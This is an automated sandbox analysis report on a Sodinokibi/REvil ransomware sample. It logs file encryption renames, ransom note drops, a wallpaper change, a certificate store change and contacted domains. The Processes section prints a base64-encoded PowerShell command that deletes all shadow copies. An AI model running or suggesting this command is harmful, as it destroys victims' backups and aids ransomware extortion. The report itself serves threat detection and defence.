Malware Analysis Report

2025-01-18 19:24

Sample ID 220124-btejsahef6
Target a3237bee421786c2d5752e0f2be5e33147e2456d781638578b5ab7fcff77f963
SHA256 a3237bee421786c2d5752e0f2be5e33147e2456d781638578b5ab7fcff77f963
Tags
36 1751 sodinokibi ransomware
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V6

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

a3237bee421786c2d5752e0f2be5e33147e2456d781638578b5ab7fcff77f963

Threat Level: Known bad

The file a3237bee421786c2d5752e0f2be5e33147e2456d781638578b5ab7fcff77f963 was found to be: Known bad.

Malicious Activity Summary

36 1751 sodinokibi ransomware

Sodinokibi family

Sodin,Sodinokibi,REvil

Modifies extensions of user files

Enumerates connected drives

Drops file in System32 directory

Sets desktop wallpaper using registry

Drops file in Program Files directory

Modifies system certificate store

Suspicious behavior: EnumeratesProcesses

Suspicious use of AdjustPrivilegeToken

Suspicious use of WriteProcessMemory

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2022-01-24 01:25

Signatures

Sodinokibi family

sodinokibi

Analysis: behavioral1

Detonation Overview

Submitted

2022-01-24 01:25

Reported

2022-01-24 06:58

Platform

win7-en-20211208

Max time kernel

141s

Max time network

148s

Command Line

"C:\Users\Admin\AppData\Local\Temp\a3237bee421786c2d5752e0f2be5e33147e2456d781638578b5ab7fcff77f963.exe"

Signatures

Sodin,Sodinokibi,REvil

ransomware sodinokibi

Modifies extensions of user files

ransomware
Description Indicator Process Target
File renamed C:\Users\Admin\Pictures\SkipRename.tiff => \??\c:\users\admin\pictures\SkipRename.tiff.447cw4gb8 C:\Users\Admin\AppData\Local\Temp\a3237bee421786c2d5752e0f2be5e33147e2456d781638578b5ab7fcff77f963.exe N/A
File renamed C:\Users\Admin\Pictures\UnpublishAssert.png => \??\c:\users\admin\pictures\UnpublishAssert.png.447cw4gb8 C:\Users\Admin\AppData\Local\Temp\a3237bee421786c2d5752e0f2be5e33147e2456d781638578b5ab7fcff77f963.exe N/A
File renamed C:\Users\Admin\Pictures\BlockUnblock.tif => \??\c:\users\admin\pictures\BlockUnblock.tif.447cw4gb8 C:\Users\Admin\AppData\Local\Temp\a3237bee421786c2d5752e0f2be5e33147e2456d781638578b5ab7fcff77f963.exe N/A
File renamed C:\Users\Admin\Pictures\MoveResume.crw => \??\c:\users\admin\pictures\MoveResume.crw.447cw4gb8 C:\Users\Admin\AppData\Local\Temp\a3237bee421786c2d5752e0f2be5e33147e2456d781638578b5ab7fcff77f963.exe N/A
File renamed C:\Users\Admin\Pictures\PublishBackup.crw => \??\c:\users\admin\pictures\PublishBackup.crw.447cw4gb8 C:\Users\Admin\AppData\Local\Temp\a3237bee421786c2d5752e0f2be5e33147e2456d781638578b5ab7fcff77f963.exe N/A
File renamed C:\Users\Admin\Pictures\RemoveTrace.png => \??\c:\users\admin\pictures\RemoveTrace.png.447cw4gb8 C:\Users\Admin\AppData\Local\Temp\a3237bee421786c2d5752e0f2be5e33147e2456d781638578b5ab7fcff77f963.exe N/A
File renamed C:\Users\Admin\Pictures\ResetConnect.crw => \??\c:\users\admin\pictures\ResetConnect.crw.447cw4gb8 C:\Users\Admin\AppData\Local\Temp\a3237bee421786c2d5752e0f2be5e33147e2456d781638578b5ab7fcff77f963.exe N/A
File opened for modification \??\c:\users\admin\pictures\SkipRename.tiff C:\Users\Admin\AppData\Local\Temp\a3237bee421786c2d5752e0f2be5e33147e2456d781638578b5ab7fcff77f963.exe N/A

Enumerates connected drives

Description Indicator Process Target
File opened (read-only) \??\Q: C:\Users\Admin\AppData\Local\Temp\a3237bee421786c2d5752e0f2be5e33147e2456d781638578b5ab7fcff77f963.exe N/A
File opened (read-only) \??\U: C:\Users\Admin\AppData\Local\Temp\a3237bee421786c2d5752e0f2be5e33147e2456d781638578b5ab7fcff77f963.exe N/A
File opened (read-only) \??\B: C:\Users\Admin\AppData\Local\Temp\a3237bee421786c2d5752e0f2be5e33147e2456d781638578b5ab7fcff77f963.exe N/A
File opened (read-only) \??\G: C:\Users\Admin\AppData\Local\Temp\a3237bee421786c2d5752e0f2be5e33147e2456d781638578b5ab7fcff77f963.exe N/A
File opened (read-only) \??\J: C:\Users\Admin\AppData\Local\Temp\a3237bee421786c2d5752e0f2be5e33147e2456d781638578b5ab7fcff77f963.exe N/A
File opened (read-only) \??\M: C:\Users\Admin\AppData\Local\Temp\a3237bee421786c2d5752e0f2be5e33147e2456d781638578b5ab7fcff77f963.exe N/A
File opened (read-only) \??\N: C:\Users\Admin\AppData\Local\Temp\a3237bee421786c2d5752e0f2be5e33147e2456d781638578b5ab7fcff77f963.exe N/A
File opened (read-only) \??\P: C:\Users\Admin\AppData\Local\Temp\a3237bee421786c2d5752e0f2be5e33147e2456d781638578b5ab7fcff77f963.exe N/A
File opened (read-only) \??\V: C:\Users\Admin\AppData\Local\Temp\a3237bee421786c2d5752e0f2be5e33147e2456d781638578b5ab7fcff77f963.exe N/A
File opened (read-only) \??\Y: C:\Users\Admin\AppData\Local\Temp\a3237bee421786c2d5752e0f2be5e33147e2456d781638578b5ab7fcff77f963.exe N/A
File opened (read-only) \??\Z: C:\Users\Admin\AppData\Local\Temp\a3237bee421786c2d5752e0f2be5e33147e2456d781638578b5ab7fcff77f963.exe N/A
File opened (read-only) \??\D: C:\Users\Admin\AppData\Local\Temp\a3237bee421786c2d5752e0f2be5e33147e2456d781638578b5ab7fcff77f963.exe N/A
File opened (read-only) \??\O: C:\Users\Admin\AppData\Local\Temp\a3237bee421786c2d5752e0f2be5e33147e2456d781638578b5ab7fcff77f963.exe N/A
File opened (read-only) \??\S: C:\Users\Admin\AppData\Local\Temp\a3237bee421786c2d5752e0f2be5e33147e2456d781638578b5ab7fcff77f963.exe N/A
File opened (read-only) \??\E: C:\Users\Admin\AppData\Local\Temp\a3237bee421786c2d5752e0f2be5e33147e2456d781638578b5ab7fcff77f963.exe N/A
File opened (read-only) \??\H: C:\Users\Admin\AppData\Local\Temp\a3237bee421786c2d5752e0f2be5e33147e2456d781638578b5ab7fcff77f963.exe N/A
File opened (read-only) \??\I: C:\Users\Admin\AppData\Local\Temp\a3237bee421786c2d5752e0f2be5e33147e2456d781638578b5ab7fcff77f963.exe N/A
File opened (read-only) \??\W: C:\Users\Admin\AppData\Local\Temp\a3237bee421786c2d5752e0f2be5e33147e2456d781638578b5ab7fcff77f963.exe N/A
File opened (read-only) \??\X: C:\Users\Admin\AppData\Local\Temp\a3237bee421786c2d5752e0f2be5e33147e2456d781638578b5ab7fcff77f963.exe N/A
File opened (read-only) \??\A: C:\Users\Admin\AppData\Local\Temp\a3237bee421786c2d5752e0f2be5e33147e2456d781638578b5ab7fcff77f963.exe N/A
File opened (read-only) \??\F: C:\Users\Admin\AppData\Local\Temp\a3237bee421786c2d5752e0f2be5e33147e2456d781638578b5ab7fcff77f963.exe N/A
File opened (read-only) \??\K: C:\Users\Admin\AppData\Local\Temp\a3237bee421786c2d5752e0f2be5e33147e2456d781638578b5ab7fcff77f963.exe N/A
File opened (read-only) \??\L: C:\Users\Admin\AppData\Local\Temp\a3237bee421786c2d5752e0f2be5e33147e2456d781638578b5ab7fcff77f963.exe N/A
File opened (read-only) \??\R: C:\Users\Admin\AppData\Local\Temp\a3237bee421786c2d5752e0f2be5e33147e2456d781638578b5ab7fcff77f963.exe N/A
File opened (read-only) \??\T: C:\Users\Admin\AppData\Local\Temp\a3237bee421786c2d5752e0f2be5e33147e2456d781638578b5ab7fcff77f963.exe N/A

Drops file in System32 directory

Description Indicator Process Target
File opened for modification C:\Windows\System32\CatRoot2\dberr.txt C:\Users\Admin\AppData\Local\Temp\a3237bee421786c2d5752e0f2be5e33147e2456d781638578b5ab7fcff77f963.exe N/A

Sets desktop wallpaper using registry

ransomware
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\vbq4wf.bmp" C:\Users\Admin\AppData\Local\Temp\a3237bee421786c2d5752e0f2be5e33147e2456d781638578b5ab7fcff77f963.exe N/A

Drops file in Program Files directory

Description Indicator Process Target
File created \??\c:\program files\447cw4gb8-readme.txt C:\Users\Admin\AppData\Local\Temp\a3237bee421786c2d5752e0f2be5e33147e2456d781638578b5ab7fcff77f963.exe N/A
File opened for modification \??\c:\program files\ApproveSkip.otf C:\Users\Admin\AppData\Local\Temp\a3237bee421786c2d5752e0f2be5e33147e2456d781638578b5ab7fcff77f963.exe N/A
File opened for modification \??\c:\program files\DenyWrite.otf C:\Users\Admin\AppData\Local\Temp\a3237bee421786c2d5752e0f2be5e33147e2456d781638578b5ab7fcff77f963.exe N/A
File opened for modification \??\c:\program files\MergeDismount.DVR C:\Users\Admin\AppData\Local\Temp\a3237bee421786c2d5752e0f2be5e33147e2456d781638578b5ab7fcff77f963.exe N/A
File opened for modification \??\c:\program files\PublishWait.jpeg C:\Users\Admin\AppData\Local\Temp\a3237bee421786c2d5752e0f2be5e33147e2456d781638578b5ab7fcff77f963.exe N/A
File opened for modification \??\c:\program files\RevokePublish.odt C:\Users\Admin\AppData\Local\Temp\a3237bee421786c2d5752e0f2be5e33147e2456d781638578b5ab7fcff77f963.exe N/A
File opened for modification \??\c:\program files\ExportDisconnect.jtx C:\Users\Admin\AppData\Local\Temp\a3237bee421786c2d5752e0f2be5e33147e2456d781638578b5ab7fcff77f963.exe N/A
File opened for modification \??\c:\program files\FindResume.tif C:\Users\Admin\AppData\Local\Temp\a3237bee421786c2d5752e0f2be5e33147e2456d781638578b5ab7fcff77f963.exe N/A
File opened for modification \??\c:\program files\HideRestart.wma C:\Users\Admin\AppData\Local\Temp\a3237bee421786c2d5752e0f2be5e33147e2456d781638578b5ab7fcff77f963.exe N/A
File opened for modification \??\c:\program files\LimitPublish.001 C:\Users\Admin\AppData\Local\Temp\a3237bee421786c2d5752e0f2be5e33147e2456d781638578b5ab7fcff77f963.exe N/A
File opened for modification \??\c:\program files\UnprotectRestore.txt C:\Users\Admin\AppData\Local\Temp\a3237bee421786c2d5752e0f2be5e33147e2456d781638578b5ab7fcff77f963.exe N/A
File opened for modification \??\c:\program files\CheckpointRequest.TTS C:\Users\Admin\AppData\Local\Temp\a3237bee421786c2d5752e0f2be5e33147e2456d781638578b5ab7fcff77f963.exe N/A
File opened for modification \??\c:\program files\ConnectMount.css C:\Users\Admin\AppData\Local\Temp\a3237bee421786c2d5752e0f2be5e33147e2456d781638578b5ab7fcff77f963.exe N/A
File opened for modification \??\c:\program files\PushAdd.css C:\Users\Admin\AppData\Local\Temp\a3237bee421786c2d5752e0f2be5e33147e2456d781638578b5ab7fcff77f963.exe N/A
File opened for modification \??\c:\program files\RedoReceive.tiff C:\Users\Admin\AppData\Local\Temp\a3237bee421786c2d5752e0f2be5e33147e2456d781638578b5ab7fcff77f963.exe N/A
File opened for modification \??\c:\program files\RenameSwitch.vbe C:\Users\Admin\AppData\Local\Temp\a3237bee421786c2d5752e0f2be5e33147e2456d781638578b5ab7fcff77f963.exe N/A
File opened for modification \??\c:\program files\RestoreSplit.jfif C:\Users\Admin\AppData\Local\Temp\a3237bee421786c2d5752e0f2be5e33147e2456d781638578b5ab7fcff77f963.exe N/A
File opened for modification \??\c:\program files\UndoWrite.m4v C:\Users\Admin\AppData\Local\Temp\a3237bee421786c2d5752e0f2be5e33147e2456d781638578b5ab7fcff77f963.exe N/A
File opened for modification \??\c:\program files\DismountSelect.png C:\Users\Admin\AppData\Local\Temp\a3237bee421786c2d5752e0f2be5e33147e2456d781638578b5ab7fcff77f963.exe N/A
File opened for modification \??\c:\program files\EditInvoke.dotm C:\Users\Admin\AppData\Local\Temp\a3237bee421786c2d5752e0f2be5e33147e2456d781638578b5ab7fcff77f963.exe N/A
File opened for modification \??\c:\program files\MergeRevoke.emf C:\Users\Admin\AppData\Local\Temp\a3237bee421786c2d5752e0f2be5e33147e2456d781638578b5ab7fcff77f963.exe N/A
File opened for modification \??\c:\program files\ReceiveFormat.mov C:\Users\Admin\AppData\Local\Temp\a3237bee421786c2d5752e0f2be5e33147e2456d781638578b5ab7fcff77f963.exe N/A
File opened for modification \??\c:\program files\SuspendShow.pot C:\Users\Admin\AppData\Local\Temp\a3237bee421786c2d5752e0f2be5e33147e2456d781638578b5ab7fcff77f963.exe N/A
File opened for modification \??\c:\program files\UnblockCompress.js C:\Users\Admin\AppData\Local\Temp\a3237bee421786c2d5752e0f2be5e33147e2456d781638578b5ab7fcff77f963.exe N/A
File opened for modification \??\c:\program files\UnlockMerge.xht C:\Users\Admin\AppData\Local\Temp\a3237bee421786c2d5752e0f2be5e33147e2456d781638578b5ab7fcff77f963.exe N/A
File opened for modification \??\c:\program files\AddNew.tmp C:\Users\Admin\AppData\Local\Temp\a3237bee421786c2d5752e0f2be5e33147e2456d781638578b5ab7fcff77f963.exe N/A
File opened for modification \??\c:\program files\CompressShow.xls C:\Users\Admin\AppData\Local\Temp\a3237bee421786c2d5752e0f2be5e33147e2456d781638578b5ab7fcff77f963.exe N/A
File opened for modification \??\c:\program files\DismountExpand.temp C:\Users\Admin\AppData\Local\Temp\a3237bee421786c2d5752e0f2be5e33147e2456d781638578b5ab7fcff77f963.exe N/A
File opened for modification \??\c:\program files\DismountUnpublish.crw C:\Users\Admin\AppData\Local\Temp\a3237bee421786c2d5752e0f2be5e33147e2456d781638578b5ab7fcff77f963.exe N/A
File opened for modification \??\c:\program files\SelectDebug.tif C:\Users\Admin\AppData\Local\Temp\a3237bee421786c2d5752e0f2be5e33147e2456d781638578b5ab7fcff77f963.exe N/A
File opened for modification \??\c:\program files\DebugConvertFrom.vsw C:\Users\Admin\AppData\Local\Temp\a3237bee421786c2d5752e0f2be5e33147e2456d781638578b5ab7fcff77f963.exe N/A
File opened for modification \??\c:\program files\RemoveCopy.m4v C:\Users\Admin\AppData\Local\Temp\a3237bee421786c2d5752e0f2be5e33147e2456d781638578b5ab7fcff77f963.exe N/A
File opened for modification \??\c:\program files\UpdateStart.wmv C:\Users\Admin\AppData\Local\Temp\a3237bee421786c2d5752e0f2be5e33147e2456d781638578b5ab7fcff77f963.exe N/A
File created \??\c:\program files (x86)\microsoft sql server compact edition\v3.5\desktop\447cw4gb8-readme.txt C:\Users\Admin\AppData\Local\Temp\a3237bee421786c2d5752e0f2be5e33147e2456d781638578b5ab7fcff77f963.exe N/A
File created \??\c:\program files (x86)\447cw4gb8-readme.txt C:\Users\Admin\AppData\Local\Temp\a3237bee421786c2d5752e0f2be5e33147e2456d781638578b5ab7fcff77f963.exe N/A
File opened for modification \??\c:\program files\SplitUnprotect.scf C:\Users\Admin\AppData\Local\Temp\a3237bee421786c2d5752e0f2be5e33147e2456d781638578b5ab7fcff77f963.exe N/A
File created \??\c:\program files (x86)\microsoft sql server compact edition\447cw4gb8-readme.txt C:\Users\Admin\AppData\Local\Temp\a3237bee421786c2d5752e0f2be5e33147e2456d781638578b5ab7fcff77f963.exe N/A
File opened for modification \??\c:\program files\ImportRestore.xps C:\Users\Admin\AppData\Local\Temp\a3237bee421786c2d5752e0f2be5e33147e2456d781638578b5ab7fcff77f963.exe N/A
File opened for modification \??\c:\program files\RedoDismount.M2V C:\Users\Admin\AppData\Local\Temp\a3237bee421786c2d5752e0f2be5e33147e2456d781638578b5ab7fcff77f963.exe N/A
File opened for modification \??\c:\program files\ResolveUnprotect.wmv C:\Users\Admin\AppData\Local\Temp\a3237bee421786c2d5752e0f2be5e33147e2456d781638578b5ab7fcff77f963.exe N/A
File opened for modification \??\c:\program files\RestartRedo.pot C:\Users\Admin\AppData\Local\Temp\a3237bee421786c2d5752e0f2be5e33147e2456d781638578b5ab7fcff77f963.exe N/A
File created \??\c:\program files (x86)\microsoft sql server compact edition\v3.5\447cw4gb8-readme.txt C:\Users\Admin\AppData\Local\Temp\a3237bee421786c2d5752e0f2be5e33147e2456d781638578b5ab7fcff77f963.exe N/A

Modifies system certificate store

evasion spyware trojan
Description Indicator Process Target
Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349 C:\Users\Admin\AppData\Local\Temp\a3237bee421786c2d5752e0f2be5e33147e2456d781638578b5ab7fcff77f963.exe N/A
Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 040000000100000010000000497904b0eb8719ac47b0bc11519b74d00f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d578112861900000001000000100000002aa1c05e2ae606f198c2c5e937c97aa2030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e3491d00000001000000100000002e0d6875874a44c820912e85e964cfdb140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b40b00000001000000180000004300b7004f00b7004d00b7004f00b7004400b7004f00000053000000010000002600000030243022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b06010505070308200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e C:\Users\Admin\AppData\Local\Temp\a3237bee421786c2d5752e0f2be5e33147e2456d781638578b5ab7fcff77f963.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\system32\vssvc.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\system32\vssvc.exe N/A
Token: SeAuditPrivilege N/A C:\Windows\system32\vssvc.exe N/A

Processes

C:\Users\Admin\AppData\Local\Temp\a3237bee421786c2d5752e0f2be5e33147e2456d781638578b5ab7fcff77f963.exe

"C:\Users\Admin\AppData\Local\Temp\a3237bee421786c2d5752e0f2be5e33147e2456d781638578b5ab7fcff77f963.exe"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==

C:\Windows\system32\vssvc.exe

C:\Windows\system32\vssvc.exe

C:\Windows\system32\wbem\unsecapp.exe

C:\Windows\system32\wbem\unsecapp.exe -Embedding

Network

Country Destination Domain Proto
US 8.8.8.8:53 rokthetalk.com udp
US 8.8.8.8:53 mslp.org udp
US 64.182.230.170:443 mslp.org tcp
US 64.182.230.170:443 mslp.org tcp
US 8.8.8.8:53 palmecophilippines.com udp
HK 156.241.187.210:443 palmecophilippines.com tcp
US 8.8.8.8:53 envomask.com udp
US 35.233.151.53:443 envomask.com tcp
US 35.233.151.53:443 envomask.com tcp
US 8.8.8.8:53 pvandambv.nl udp
US 104.21.85.127:443 pvandambv.nl tcp
US 104.21.85.127:443 pvandambv.nl tcp
US 8.8.8.8:53 rentingwell.com udp
CA 159.203.58.121:443 rentingwell.com tcp
US 8.8.8.8:53 advance-refle.com udp
JP 157.7.107.246:443 advance-refle.com tcp
JP 157.7.107.246:443 advance-refle.com tcp
US 8.8.8.8:53 lovcase.com udp
US 8.8.8.8:53 ncjc.ca udp
CA 54.39.73.56:443 ncjc.ca tcp
US 8.8.8.8:53 morgansconsult.com udp
GB 35.214.25.158:443 morgansconsult.com tcp
GB 35.214.25.158:443 morgansconsult.com tcp
US 8.8.8.8:53 internestdigital.com udp
ES 185.107.227.241:443 internestdigital.com tcp
US 8.8.8.8:53 log-barn.co.uk udp
GB 149.255.60.174:443 log-barn.co.uk tcp
GB 149.255.60.174:443 log-barn.co.uk tcp
US 8.8.8.8:53 theintellect.edu.pk udp
DE 176.9.116.91:443 theintellect.edu.pk tcp
DE 176.9.116.91:443 theintellect.edu.pk tcp
US 8.8.8.8:53 rossomattonecase.it udp
IT 185.81.4.85:443 rossomattonecase.it tcp
IT 185.81.4.85:443 rossomattonecase.it tcp
US 8.8.8.8:53 autoteamlast.de udp
DE 37.202.7.169:443 autoteamlast.de tcp
DE 37.202.7.169:443 autoteamlast.de tcp
US 8.8.8.8:53 innervisions-id.com udp
GB 95.215.225.4:443 innervisions-id.com tcp
GB 95.215.225.4:443 innervisions-id.com tcp
US 8.8.8.8:53 alharsunindo.com udp
SG 151.106.119.54:443 alharsunindo.com tcp
US 8.8.8.8:53 www.alharsunindo.com udp
SG 151.106.119.54:443 www.alharsunindo.com tcp
US 8.8.8.8:53 hostastay.com udp
MY 101.99.77.144:443 hostastay.com tcp
MY 101.99.77.144:443 hostastay.com tcp
US 8.8.8.8:53 satoblog.org udp
JP 103.141.96.74:443 satoblog.org tcp
JP 103.141.96.74:443 satoblog.org tcp
US 8.8.8.8:53 computer-place.de udp
DE 85.214.125.43:443 computer-place.de tcp
DE 85.214.125.43:443 computer-place.de tcp
US 8.8.8.8:53 paradigmlandscape.com udp
US 162.159.134.42:443 paradigmlandscape.com tcp
US 162.159.134.42:443 paradigmlandscape.com tcp
US 8.8.8.8:53 clinic-beethovenstrasse-ag.ch udp
DE 157.90.88.146:443 clinic-beethovenstrasse-ag.ch tcp
DE 157.90.88.146:443 clinic-beethovenstrasse-ag.ch tcp
US 8.8.8.8:53 karmeliterviertel.com udp
DE 136.243.171.3:443 karmeliterviertel.com tcp
US 8.8.8.8:53 xn--80addfr4ahr.dp.ua udp
UA 185.104.45.19:443 xn--80addfr4ahr.dp.ua tcp
US 8.8.8.8:53 newonestop.com udp
DE 161.97.115.17:443 newonestop.com tcp
DE 161.97.115.17:443 newonestop.com tcp
US 8.8.8.8:53 abulanov.com udp
RU 188.246.227.29:443 abulanov.com tcp
RU 188.246.227.29:443 abulanov.com tcp
US 8.8.8.8:53 bonitabeachassociation.com udp
US 8.8.8.8:53 entdoctor-durban.com udp
US 108.167.164.92:443 entdoctor-durban.com tcp
US 8.8.8.8:53 edrickennedymacfoy.com udp
US 8.8.8.8:53 galaniuklaw.com udp
DE 193.26.223.66:443 galaniuklaw.com tcp
DE 193.26.223.66:443 galaniuklaw.com tcp
US 8.8.8.8:53 irizar.com udp
ES 194.30.35.117:443 irizar.com tcp
US 8.8.8.8:53 jimprattmediations.com udp
US 151.101.130.159:443 jimprattmediations.com tcp
US 151.101.130.159:443 jimprattmediations.com tcp
US 8.8.8.8:53 imaginekithomes.co.nz udp
US 104.21.90.156:443 imaginekithomes.co.nz tcp
US 8.8.8.8:53 saint-malo-developpement.fr udp
FR 51.68.23.33:443 saint-malo-developpement.fr tcp
FR 51.68.23.33:443 saint-malo-developpement.fr tcp
US 8.8.8.8:53 cl0nazepamblog.com udp
US 156.246.194.45:443 cl0nazepamblog.com tcp

Files

memory/1600-55-0x0000000075801000-0x0000000075803000-memory.dmp

memory/940-56-0x000007FEFC2D1000-0x000007FEFC2D3000-memory.dmp

memory/940-57-0x000007FEF3530000-0x000007FEF408D000-memory.dmp

memory/940-59-0x0000000002702000-0x0000000002704000-memory.dmp

memory/940-58-0x0000000002600000-0x0000000002702000-memory.dmp

memory/940-60-0x0000000002704000-0x0000000002707000-memory.dmp

memory/940-61-0x000000001B700000-0x000000001B9FF000-memory.dmp

memory/940-62-0x000000000270B000-0x000000000272A000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2022-01-24 01:25

Reported

2022-01-24 06:58

Platform

win10-en-20211208

Max time kernel

169s

Max time network

181s

Command Line

"C:\Users\Admin\AppData\Local\Temp\a3237bee421786c2d5752e0f2be5e33147e2456d781638578b5ab7fcff77f963.exe"

Signatures

Sodin,Sodinokibi,REvil

ransomware sodinokibi

Modifies extensions of user files

ransomware
Description Indicator Process Target
File renamed C:\Users\Admin\Pictures\CompareSkip.tif => \??\c:\users\admin\pictures\CompareSkip.tif.idw8w C:\Users\Admin\AppData\Local\Temp\a3237bee421786c2d5752e0f2be5e33147e2456d781638578b5ab7fcff77f963.exe N/A
File renamed C:\Users\Admin\Pictures\DenyRename.crw => \??\c:\users\admin\pictures\DenyRename.crw.idw8w C:\Users\Admin\AppData\Local\Temp\a3237bee421786c2d5752e0f2be5e33147e2456d781638578b5ab7fcff77f963.exe N/A
File renamed C:\Users\Admin\Pictures\RevokeRestore.tiff => \??\c:\users\admin\pictures\RevokeRestore.tiff.idw8w C:\Users\Admin\AppData\Local\Temp\a3237bee421786c2d5752e0f2be5e33147e2456d781638578b5ab7fcff77f963.exe N/A
File renamed C:\Users\Admin\Pictures\SubmitOpen.png => \??\c:\users\admin\pictures\SubmitOpen.png.idw8w C:\Users\Admin\AppData\Local\Temp\a3237bee421786c2d5752e0f2be5e33147e2456d781638578b5ab7fcff77f963.exe N/A
File renamed C:\Users\Admin\Pictures\UndoReceive.tif => \??\c:\users\admin\pictures\UndoReceive.tif.idw8w C:\Users\Admin\AppData\Local\Temp\a3237bee421786c2d5752e0f2be5e33147e2456d781638578b5ab7fcff77f963.exe N/A
File renamed C:\Users\Admin\Pictures\ResetConnect.tif => \??\c:\users\admin\pictures\ResetConnect.tif.idw8w C:\Users\Admin\AppData\Local\Temp\a3237bee421786c2d5752e0f2be5e33147e2456d781638578b5ab7fcff77f963.exe N/A
File opened for modification \??\c:\users\admin\pictures\RevokeRestore.tiff C:\Users\Admin\AppData\Local\Temp\a3237bee421786c2d5752e0f2be5e33147e2456d781638578b5ab7fcff77f963.exe N/A
File renamed C:\Users\Admin\Pictures\WaitOut.crw => \??\c:\users\admin\pictures\WaitOut.crw.idw8w C:\Users\Admin\AppData\Local\Temp\a3237bee421786c2d5752e0f2be5e33147e2456d781638578b5ab7fcff77f963.exe N/A
File renamed C:\Users\Admin\Pictures\MoveComplete.png => \??\c:\users\admin\pictures\MoveComplete.png.idw8w C:\Users\Admin\AppData\Local\Temp\a3237bee421786c2d5752e0f2be5e33147e2456d781638578b5ab7fcff77f963.exe N/A
File opened for modification \??\c:\users\admin\pictures\OpenCompress.tiff C:\Users\Admin\AppData\Local\Temp\a3237bee421786c2d5752e0f2be5e33147e2456d781638578b5ab7fcff77f963.exe N/A
File renamed C:\Users\Admin\Pictures\OpenCompress.tiff => \??\c:\users\admin\pictures\OpenCompress.tiff.idw8w C:\Users\Admin\AppData\Local\Temp\a3237bee421786c2d5752e0f2be5e33147e2456d781638578b5ab7fcff77f963.exe N/A
File renamed C:\Users\Admin\Pictures\ReadOut.tif => \??\c:\users\admin\pictures\ReadOut.tif.idw8w C:\Users\Admin\AppData\Local\Temp\a3237bee421786c2d5752e0f2be5e33147e2456d781638578b5ab7fcff77f963.exe N/A
File renamed C:\Users\Admin\Pictures\RegisterUnlock.png => \??\c:\users\admin\pictures\RegisterUnlock.png.idw8w C:\Users\Admin\AppData\Local\Temp\a3237bee421786c2d5752e0f2be5e33147e2456d781638578b5ab7fcff77f963.exe N/A

Enumerates connected drives

Description Indicator Process Target
File opened (read-only) \??\S: C:\Users\Admin\AppData\Local\Temp\a3237bee421786c2d5752e0f2be5e33147e2456d781638578b5ab7fcff77f963.exe N/A
